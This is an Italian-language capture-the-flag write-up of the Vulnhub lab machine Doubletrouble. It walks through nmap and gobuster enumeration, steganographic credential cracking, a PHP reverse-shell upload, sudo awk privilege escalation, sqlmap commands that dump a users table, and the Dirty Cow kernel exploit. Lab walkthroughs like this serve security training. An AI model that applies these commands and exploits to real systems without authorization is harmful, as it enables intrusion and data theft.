
Ciao! In questo articolo spiego come recuperare le flag della macchina Doubletrouble di Vulnhub. Viene indicata come “facile”, ma secondo me è un po’ più tosta di una VM easy. Iniziamo!
Ecco il link per questa VM: https://www.vulnhub.com/entry/doubletrouble-1,743/
Scansione
Nel mio caso la VM ha IP 10.10.10.17; se non siete sicuri dell’indirizzo IP potete eseguire (adattando la rete):
nmap 10.10.10.0/24
Eseguo nmap con un paio di opzioni:
sudo nmap -sV -sC -p- 10.10.10.17
e troviamo le porte 22 e 80 aperte:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-14 10:21 EDT
Nmap scan report for 10.10.10.17
Host is up (0.00016s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
| 256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_ 256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: qdPM | Login
MAC Address: 08:00:27:74:3B:2D (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds
Raccolta informazioni
Questa è la fase che vi porterà alla soluzione. Come prima mossa ho navigato con il browser sulla porta 80:

Possiamo provare a fare login con le password di default, ma non c’è verso di entrare. Passiamo quindi a un bruteforce delle directory: io uso gobuster:
gobuster dir -r -u http://10.10.10.17/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
Kali di default non include queste wordlist, potete scaricarle da: https://github.com/danielmiessler/SecLists
Comunque, gobuster mi restituisce un bel po’ di directory interessanti, una in particolare:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.16/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2021/10/14 11:21:32 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 276]
/.hta (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/backups (Status: 200) [Size: 742]
/batch (Status: 200) [Size: 941]
/core (Status: 200) [Size: 3053]
/css (Status: 200) [Size: 1306]
/favicon.ico (Status: 200) [Size: 894]
/images (Status: 200) [Size: 2366]
/install (Status: 200) [Size: 1815]
/js (Status: 200) [Size: 1956]
/index.php (Status: 200) [Size: 5808]
/robots.txt (Status: 200) [Size: 26]
/secret (Status: 200) [Size: 954]
/server-status (Status: 403) [Size: 276]
/sf (Status: 200) [Size: 1140]
/template (Status: 200) [Size: 1704]
/uploads (Status: 200) [Size: 1138]
===============================================================
2021/10/14 11:21:33 Finished
===============================================================
Sembra ci sia qualcosa di interessante nella directory secret. Navigandoci col browser dovremmo vedere solo un’immagine — cosa facciamo ora?

Rompere i segreti
Una delle idee per questa immagine è provare con la steganografia: ho usato stegseek (https://github.com/RickdeJager/stegseek).
stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "92camaro"
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".

Ora possiamo provare a fare login con queste credenziali: funzionano.
Exploit
Questa è la dashboard una volta entrati, non c’è molto da fare qui.

Nella sezione profilo, la funzionalità “Upload image” non controlla l’estensione del file né il MIME type: carichiamo una shell PHP (https://www.revshells.com/).

Apriamo il file shell. Sulla mia macchina Kali metto nc in ascolto sulla porta 9001.

Eseguite il comando python per ottenere una shell interattiva.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Privilege escalation
Se eseguiamo sudo -l vediamo che awk è presente nella lista; andando su GTFOBins (https://gtfobins.github.io/) proviamo il comando awk indicato per fare privilege escalation.

Ora siamo root! Personalmente preferisco mettere la mia chiave pubblica nella dir .ssh e usare la connessione ssh.
Spostandoci in /root troviamo un file OVA (un’altra VM! Ecco da dove viene il nome!), ho spostato il file nella dir web e l’ho scaricato dal browser.

Seconda macchina
Come prima eseguiamo nmap con le stesse opzioni; troveremo sulla porta 80 un’interfaccia di login. Questa VM ha IP 10.10.10.18.

Forse c’è una qualche SQL Injection, ma sono troppo pigro per testarla manualmente, lancio sqlmap!
SQL Injection
Per arrivare al punto con sqlmap dobbiamo passare attraverso alcune opzioni e ottenere ciò che ci serve, spiego tutti i comandi.

Una volta completato vedremo che si tratta di un server MySQL vulnerabile a SQL injection time-based.
Ora che conosciamo il DBMS, recuperiamo il db attualmente in uso con
sqlmap -u http://10.10.10.18/ --forms --dbms=mysql -p uname --current-db

Ora che sappiamo il nome del DB, proviamo con le tabelle:
sqlmap -u http://10.10.10.18/ --forms --dbms=mysql -p uname -D doubletrouble --tables
Otterremo solo la tabella users. Sarà utile per il prossimo comando: dumperemo tutti i dati di quella tabella:
sqlmap -u http://10.10.10.18/ --forms --dbms=mysql -p uname -D doubletrouble -T users --dump

Finalmente abbiamo qualcosa! Usiamo questi utenti per connetterci via SSH.
Connessione SSH

L’utente clapton funziona. Nella home directory dell’utente clapton c’è una flag, prendiamola

Privilege escalation
Potreste aver notato la versione del kernel una volta loggati: infatti è una versione vulnerabile a Dirty Cow (https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c). Sfruttiamola e diventiamo root!

Come vedete nell’immagine sopra, ho scaricato da Github il file C e l’ho compilato.

Eseguendo il file Dirty Cow verrà creato un utente firefart che è il nuovo root (ricordate: root ha i suoi privilegi grazie all’UID = 0, non grazie al nome). Noterete che il file passwd viene sostituito e il vecchio salvato in tmp.
L’utente firefart ha root come password. Effettuiamo login via SSH con l’utente firefart:

Ed ecco la nostra flag! Prendetevela!
Non considero questa macchina “facile” per due motivi: il primo è che ha una procedura piuttosto lunga per arrivare alla flag finale di root, il secondo è che c’è di mezzo uno sfruttamento a livello kernel che non credo sia un’attività di tutti i giorni.
Abbiamo toccato con mano lo sfruttamento del MIME type, SQL Injection, bruteforce delle directory web, exploitation del kernel e steganografia. Spero vi siate divertiti con questa VM tanto quanto me.
Grazie!